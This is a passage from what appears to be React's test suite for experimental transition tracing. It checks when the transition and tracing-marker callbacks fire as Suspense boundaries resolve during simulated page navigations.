2000)',\n          'onTransitionComplete(transition, 2000, 2000)',\n        ]);\n      });\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('should correctly trace basic interaction', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    let navigateToPageTwo;\n    function App() {\n      const [navigate, setNavigate] = useState(false);\n      navigateToPageTwo = () => {\n        setNavigate(true);\n      };\n\n      return (\n        <div>\n          {navigate ? <Text text=\"Page Two\" /> : <Text text=\"Page One\" />}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One']);\n\n      await act(async () => {\n        startTransition(() => navigateToPageTwo(), {name: 'page transition'});\n\n        ReactNoop.expire(1000);\n        await advanceTimers(1000);\n\n        await waitForAll([\n          'Page Two',\n          'onTransitionStart(page transition, 1000)',\n          'onTransitionComplete(page transition, 1000, 2000)',\n        ]);\n      });\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('multiple updates in transition callback should only result in one transitionStart/transitionComplete call', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    let navigateToPageTwo;\n    let setText;\n    function App() {\n      const [navigate, setNavigate] = useState(false);\n      const [text, _setText] = useState('hide');\n      navigateToPageTwo = () => setNavigate(true);\n      setText = () => _setText('show');\n\n      return (\n        <div>\n          {navigate ? (\n            <Text text={`Page Two: ${text}`} />\n          ) : (\n            <Text text={`Page One: ${text}`} />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One: hide']);\n\n      await act(async () => {\n        startTransition(\n          () => {\n            navigateToPageTwo();\n            setText();\n          },\n          {name: 'page transition'},\n        );\n\n        ReactNoop.expire(1000);\n        await advanceTimers(1000);\n\n        await waitForAll([\n          'Page Two: show',\n          'onTransitionStart(page transition, 1000)',\n          'onTransitionComplete(page transition, 1000, 2000)',\n        ]);\n      });\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('should correctly trace interactions for async roots', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n    let navigateToPageTwo;\n    function App() {\n      const [navigate, setNavigate] = useState(false);\n      navigateToPageTwo = () => {\n        setNavigate(true);\n      };\n\n      return (\n        <div>\n          {navigate ? (\n            <Suspense\n              fallback={<Text text=\"Loading...\" />}\n              name=\"suspense page\">\n              <AsyncText text=\"Page Two\" />\n            </Suspense>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One']);\n    });\n\n    await act(async () => {\n      startTransition(() => navigateToPageTwo(), {name: 'page transition'});\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        // pre-warming\n        'Suspend [Page Two]',\n        // end pre-warming\n        'onTransitionStart(page transition, 1000)',\n        'onTransitionProgress(page transition, 1000, 2000, [suspense page])',\n      ]);\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await resolveText('Page Two');\n\n      await waitForAll([\n        'Page Two',\n        'onTransitionProgress(page transition, 1000, 3000, [])',\n        'onTransitionComplete(page transition, 1000, 3000)',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('should correctly trace multiple separate root interactions', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    let navigateToPageTwo;\n    let showTextFn;\n    function App() {\n      const [navigate, setNavigate] = useState(false);\n      const [showText, setShowText] = useState(false);\n\n      navigateToPageTwo = () => {\n        setNavigate(true);\n      };\n\n      showTextFn = () => {\n        setShowText(true);\n      };\n\n      return (\n        <div>\n          {navigate ? (\n            <>\n              {showText ? (\n                <Suspense\n                  name=\"show text\"\n                  fallback={<Text text=\"Show Text Loading...\" />}>\n                  <AsyncText text=\"Show Text\" />\n                </Suspense>\n              ) : null}\n              <Suspense\n                fallback={<Text text=\"Loading...\" />}\n                name=\"suspense page\">\n                <AsyncText text=\"Page Two\" />\n              </Suspense>\n            </>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One']);\n    });\n\n    await act(async () => {\n      startTransition(() => navigateToPageTwo(), {name: 'page transition'});\n\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        // pre-warming\n        'Suspend [Page Two]',\n        // end pre-warming\n        'onTransitionStart(page transition, 1000)',\n        'onTransitionProgress(page transition, 1000, 1000, [suspense page])',\n      ]);\n\n      await resolveText('Page Two');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Page Two',\n        'onTransitionProgress(page transition, 1000, 2000, [])',\n        'onTransitionComplete(page transition, 1000, 2000)',\n      ]);\n\n      startTransition(() => showTextFn(), {name: 'text transition'});\n      await waitForAll([\n        'Suspend [Show Text]',\n        'Show Text Loading...',\n        'Page Two',\n        // pre-warming\n        'Suspend [Show Text]',\n        // end pre-warming\n        'onTransitionStart(text transition, 2000)',\n        'onTransitionProgress(text transition, 2000, 2000, [show text])',\n      ]);\n\n      await resolveText('Show Text');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Show Text',\n        'onTransitionProgress(text transition, 2000, 3000, [])',\n        'onTransitionComplete(text transition, 2000, 3000)',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('should correctly trace multiple intertwined root interactions', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n    let navigateToPageTwo;\n    let showTextFn;\n    function App() {\n      const [navigate, setNavigate] = useState(false);\n      const [showText, setShowText] = useState(false);\n      navigateToPageTwo = () => {\n        setNavigate(true);\n      };\n\n      showTextFn = () => {\n        setShowText(true);\n      };\n\n      return (\n        <div>\n          {navigate ? (\n            <>\n              {showText ? (\n                <Suspense\n                  name=\"show text\"\n                  fallback={<Text text=\"Show Text Loading...\" />}>\n                  <AsyncText text=\"Show Text\" />\n                </Suspense>\n              ) : null}\n              <Suspense\n                fallback={<Text text=\"Loading...\" />}\n                name=\"suspense page\">\n                <AsyncText text=\"Page Two\" />\n              </Suspense>\n            </>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One']);\n    });\n\n    await act(async () => {\n      startTransition(() => navigateToPageTwo(), {name: 'page transition'});\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        // pre-warming\n        'Suspend [Page Two]',\n        // end pre-warming\n        'onTransitionStart(page transition, 1000)',\n        'onTransitionProgress(page transition, 1000, 2000, [suspense page])',\n      ]);\n    });\n\n    await act(async () => {\n      startTransition(() => showTextFn(), {name: 'show text'});\n\n      await waitForAll([\n        'Suspend [Show Text]',\n        'Show Text Loading...',\n        'Suspend [Page Two]',\n        'Loading...',\n        // pre-warming\n        'Suspend [Show Text]',\n        'Suspend [Page Two]',\n        // end pre-warming\n        'onTransitionStart(show text, 2000)',\n        'onTransitionProgress(show text, 2000, 2000, [show text])',\n      ]);\n    });\n\n    await act(async () => {\n      await resolveText('Page Two');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Page Two',\n        'onTransitionProgress(page transition, 1000, 3000, [])',\n        'onTransitionComplete(page transition, 1000, 3000)',\n      ]);\n\n      await resolveText('Show Text');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Show Text',\n        'onTransitionProgress(show text, 2000, 4000, [])',\n        'onTransitionComplete(show text, 2000, 4000)',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('trace interaction with nested and sibling suspense boundaries', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    let navigateToPageTwo;\n    function App() {\n      const [navigate, setNavigate] = useState(false);\n      navigateToPageTwo = () => {\n        setNavigate(true);\n      };\n\n      return (\n        <div>\n          {navigate ? (\n            <>\n              <Suspense\n                fallback={<Text text=\"Loading...\" />}\n                name=\"suspense page\">\n                <AsyncText text=\"Page Two\" />\n                <Suspense\n                  name=\"show text one\"\n                  fallback={<Text text=\"Show Text One Loading...\" />}>\n                  <AsyncText text=\"Show Text One\" />\n                </Suspense>\n                <div>\n                  <Suspense\n                    name=\"show text two\"\n                    fallback={<Text text=\"Show Text Two Loading...\" />}>\n                    <AsyncText text=\"Show Text Two\" />\n                  </Suspense>\n                </div>\n              </Suspense>\n            </>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One']);\n    });\n\n    await act(async () => {\n      startTransition(() => navigateToPageTwo(), {name: 'page transition'});\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        // pre-warming\n        'Suspend [Page Two]',\n        'Suspend [Show Text One]',\n        'Show Text One Loading...',\n        'Suspend [Show Text Two]',\n        'Show Text Two Loading...',\n        // end pre-warming\n        'onTransitionStart(page transition, 1000)',\n        'onTransitionProgress(page transition, 1000, 2000, [suspense page])',\n      ]);\n\n      resolveText('Page Two');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Page Two',\n        'Suspend [Show Text One]',\n        'Show Text One Loading...',\n        'Suspend [Show Text Two]',\n        'Show Text Two Loading...',\n        // pre-warming\n        'Suspend [Show Text One]',\n        'Suspend [Show Text Two]',\n        // end pre-warming\n        'onTransitionProgress(page transition, 1000, 3000, [show text one, show text two])',\n      ]);\n\n      resolveText('Show Text One');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Show Text One',\n        'onTransitionProgress(page transition, 1000, 4000, [show text two])',\n      ]);\n\n      resolveText('Show Text Two');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Show Text Two',\n        'onTransitionProgress(page transition, 1000, 5000, [])',\n        'onTransitionComplete(page transition, 1000, 5000)',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('trace interactions with the same child suspense boundaries', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    let setNavigate;\n    let setShowTextOne;\n    let setShowTextTwo;\n    function App() {\n      const [navigate, _setNavigate] = useState(false);\n      const [showTextOne, _setShowTextOne] = useState(false);\n      const [showTextTwo, _setShowTextTwo] = useState(false);\n\n      setNavigate = () => _setNavigate(true);\n      setShowTextOne = () => _setShowTextOne(true);\n      setShowTextTwo = () => _setShowTextTwo(true);\n\n      return (\n        <div>\n          {navigate ? (\n            <>\n              <Suspense\n                fallback={<Text text=\"Loading...\" />}\n                name=\"suspense page\">\n                <AsyncText text=\"Page Two\" />\n                {/* showTextOne is entangled with navigate */}\n                {showTextOne ? (\n                  <Suspense\n                    name=\"show text one\"\n                    fallback={<Text text=\"Show Text One Loading...\" />}>\n                    <AsyncText text=\"Show Text One\" />\n                  </Suspense>\n                ) : null}\n                <Suspense fallback={<Text text=\"Show Text Loading...\" />}>\n                  <AsyncText text=\"Show Text\" />\n                </Suspense>\n                {/* showTextTwo's suspense boundaries shouldn't stop navigate's suspense boundaries\n                 from completing */}\n                {showTextTwo ? (\n                  <Suspense\n                    name=\"show text two\"\n                    fallback={<Text text=\"Show Text Two Loading...\" />}>\n                    <AsyncText text=\"Show Text Two\" />\n                  </Suspense>\n                ) : null}\n              </Suspense>\n            </>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One']);\n    });\n\n    await act(async () => {\n      startTransition(() => setNavigate(), {name: 'navigate'});\n      startTransition(() => setShowTextOne(), {name: 'show text one'});\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        // pre-warming\n        'Suspend [Page Two]',\n        'Suspend [Show Text One]',\n        'Show Text One Loading...',\n        'Suspend [Show Text]',\n        'Show Text Loading...',\n        // end pre-warming\n        'onTransitionStart(navigate, 1000)',\n        'onTransitionStart(show text one, 1000)',\n        'onTransitionProgress(navigate, 1000, 2000, [suspense page])',\n        'onTransitionProgress(show text one, 1000, 2000, [suspense page])',\n      ]);\n\n      resolveText('Page Two');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Page Two',\n        'Suspend [Show Text One]',\n        'Show Text One Loading...',\n        'Suspend [Show Text]',\n        'Show Text Loading...',\n        // pre-warming\n        'Suspend [Show Text One]',\n        'Suspend [Show Text]',\n        // end pre-warming\n        'onTransitionProgress(navigate, 1000, 3000, [show text one, <null>])',\n        'onTransitionProgress(show text one, 1000, 3000, [show text one, <null>])',\n      ]);\n\n      startTransition(() => setShowTextTwo(), {name: 'show text two'});\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Page Two',\n        'Suspend [Show Text One]',\n        'Show Text One Loading...',\n        'Suspend [Show Text]',\n        'Show Text Loading...',\n        'Suspend [Show Text Two]',\n        'Show Text Two Loading...',\n        // pre-warming\n        'Suspend [Show Text One]',\n        'Suspend [Show Text]',\n        'Suspend [Show Text Two]',\n        // end pre-warming\n        'onTransitionStart(show text two, 3000)',\n        'onTransitionProgress(show text two, 3000, 4000, [show text two])',\n      ]);\n\n      // This should not cause navigate to finish because it's entangled with\n      // show text one\n      resolveText('Show Text');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Show Text',\n        'onTransitionProgress(navigate, 1000, 5000, [show text one])',\n        'onTransitionProgress(show text one, 1000, 5000, [show text one])',\n      ]);\n\n      // This should not cause show text two to finish but nothing else\n      resolveText('Show Text Two');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Show Text Two',\n        'onTransitionProgress(show text two, 3000, 6000, [])',\n        'onTransitionComplete(show text two, 3000, 6000)',\n      ]);\n\n      // This should cause everything to finish\n      resolveText('Show Text One');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Show Text One',\n        'onTransitionProgress(navigate, 1000, 7000, [])',\n        'onTransitionProgress(show text one, 1000, 7000, [])',\n        'onTransitionComplete(navigate, 1000, 7000)',\n        'onTransitionComplete(show text one, 1000, 7000)',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('should correctly trace basic interaction with tracing markers', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerProgress: (\n        transitioName,\n        markerName,\n        startTime,\n        currentTime,\n        pending,\n      ) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onMarkerProgress(${transitioName}, ${markerName}, ${startTime}, ${currentTime}, [${suspenseNames}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    let navigateToPageTwo;\n    function App() {\n      const [navigate, setNavigate] = useState(false);\n      navigateToPageTwo = () => {\n        setNavigate(true);\n      };\n\n      return (\n        <div>\n          {navigate ? (\n            <React.unstable_TracingMarker name=\"marker two\" key=\"marker two\">\n              <Text text=\"Page Two\" />\n            </React.unstable_TracingMarker>\n          ) : (\n            <React.unstable_TracingMarker name=\"marker one\">\n              <Text text=\"Page One\" />\n            </React.unstable_TracingMarker>\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One']);\n\n      await act(async () => {\n        startTransition(() => navigateToPageTwo(), {name: 'page transition'});\n\n        ReactNoop.expire(1000);\n        await advanceTimers(1000);\n\n        await waitForAll([\n          'Page Two',\n          'onTransitionStart(page transition, 1000)',\n          'onMarkerComplete(page transition, marker two, 1000, 2000)',\n          'onTransitionComplete(page transition, 1000, 2000)',\n        ]);\n      });\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('should correctly trace interactions for tracing markers', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerProgress: (\n        transitioName,\n        markerName,\n        startTime,\n        currentTime,\n        pending,\n      ) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onMarkerProgress(${transitioName}, ${markerName}, ${startTime}, ${currentTime}, [${suspenseNames}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n    let navigateToPageTwo;\n    function App() {\n      const [navigate, setNavigate] = useState(false);\n      navigateToPageTwo = () => {\n        setNavigate(true);\n      };\n\n      return (\n        <div>\n          {navigate ? (\n            <Suspense\n              fallback={<Text text=\"Loading...\" />}\n              name=\"suspense page\">\n              <AsyncText text=\"Page Two\" />\n              <React.unstable_TracingMarker name=\"sync marker\" />\n              <React.unstable_TracingMarker name=\"async marker\">\n                <Suspense\n                  fallback={<Text text=\"Loading...\" />}\n                  name=\"marker suspense\">\n                  <AsyncText text=\"Marker Text\" />\n                </Suspense>\n              </React.unstable_TracingMarker>\n            </Suspense>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One']);\n    });\n\n    await act(async () => {\n      startTransition(() => navigateToPageTwo(), {name: 'page transition'});\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        // pre-warming\n        'Suspend [Page Two]',\n        'Suspend [Marker Text]',\n        'Loading...',\n        // end pre-warming\n        'onTransitionStart(page transition, 1000)',\n      ]);\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await resolveText('Page Two');\n\n      await waitForAll([\n        'Page Two',\n        'Suspend [Marker Text]',\n        'Loading...',\n        // pre-warming\n        'Suspend [Marker Text]',\n        // end pre-warming\n        'onMarkerProgress(page transition, async marker, 1000, 3000, [marker suspense])',\n        'onMarkerComplete(page transition, sync marker, 1000, 3000)',\n      ]);\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await resolveText('Marker Text');\n\n      await waitForAll([\n        'Marker Text',\n        'onMarkerProgress(page transition, async marker, 1000, 4000, [])',\n        'onMarkerComplete(page transition, async marker, 1000, 4000)',\n        'onTransitionComplete(page transition, 1000, 4000)',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('trace interaction with multiple tracing markers', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerProgress: (\n        transitioName,\n        markerName,\n        startTime,\n        currentTime,\n        pending,\n      ) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onMarkerProgress(${transitioName}, ${markerName}, ${startTime}, ${currentTime}, [${suspenseNames}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    let navigateToPageTwo;\n    function App() {\n      const [navigate, setNavigate] = useState(false);\n      navigateToPageTwo = () => {\n        setNavigate(true);\n      };\n\n      return (\n        <div>\n          {navigate ? (\n            <React.unstable_TracingMarker name=\"outer marker\">\n              <Suspense fallback={<Text text=\"Outer...\" />} name=\"outer\">\n                <AsyncText text=\"Outer Text\" />\n                <Suspense\n                  fallback={<Text text=\"Inner One...\" />}\n                  name=\"inner one\">\n                  <React.unstable_TracingMarker name=\"marker one\">\n                    <AsyncText text=\"Inner Text One\" />\n                  </React.unstable_TracingMarker>\n                </Suspense>\n                <Suspense\n                  fallback={<Text text=\"Inner Two...\" />}\n                  name=\"inner two\">\n                  <React.unstable_TracingMarker name=\"marker two\">\n                    <AsyncText text=\"Inner Text Two\" />\n                  </React.unstable_TracingMarker>\n                </Suspense>\n              </Suspense>\n            </React.unstable_TracingMarker>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One']);\n    });\n\n    await act(async () => {\n      startTransition(() => navigateToPageTwo(), {name: 'page transition'});\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Suspend [Outer Text]',\n        'Outer...',\n        // pre-warming\n        'Suspend [Outer Text]',\n        'Suspend [Inner Text One]',\n        'Inner One...',\n        'Suspend [Inner Text Two]',\n        'Inner Two...',\n        // end pre-warming\n        'onTransitionStart(page transition, 1000)',\n        'onMarkerProgress(page transition, outer marker, 1000, 2000, [outer])',\n      ]);\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await resolveText('Inner Text Two');\n      await waitForAll([]);\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await resolveText('Outer Text');\n      await waitForAll([\n        'Outer Text',\n        'Suspend [Inner Text One]',\n        'Inner One...',\n        'Inner Text Two',\n        // pre-warming\n        'Suspend [Inner Text One]',\n        // end pre-warming\n        'onMarkerProgress(page transition, outer marker, 1000, 4000, [inner one])',\n        'onMarkerComplete(page transition, marker two, 1000, 4000)',\n      ]);\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await resolveText('Inner Text One');\n      await waitForAll([\n        'Inner Text One',\n        'onMarkerProgress(page transition, outer marker, 1000, 5000, [])',\n        'onMarkerComplete(page transition, marker one, 1000, 5000)',\n        'onMarkerComplete(page transition, outer marker, 1000, 5000)',\n        'onTransitionComplete(page transition, 1000, 5000)',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('warn and calls marker incomplete if name changes before transition completes', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerProgress: (\n        transitioName,\n        markerName,\n        startTime,\n        currentTime,\n        pending,\n      ) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onMarkerProgress(${transitioName}, ${markerName}, ${startTime}, ${currentTime}, [${suspenseNames}])`,\n        );\n      },\n      onMarkerIncomplete: (\n        transitionName,\n        markerName,\n        startTime,\n        deletions,\n      ) => {\n        Scheduler.log(\n          `onMarkerIncomplete(${transitionName}, ${markerName}, ${startTime}, [${stringifyDeletions(\n            deletions,\n          )}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    function App({navigate, markerName}) {\n      return (\n        <div>\n          {navigate ? (\n            <React.unstable_TracingMarker name={markerName}>\n              <Suspense fallback={<Text text=\"Loading...\" />}>\n                <AsyncText text=\"Page Two\" />\n              </Suspense>\n            </React.unstable_TracingMarker>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App navigate={false} markerName=\"marker one\" />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll(['Page One']);\n\n      startTransition(\n        () => root.render(<App navigate={true} markerName=\"marker one\" />),\n        {\n          name: 'transition one',\n        },\n      );\n      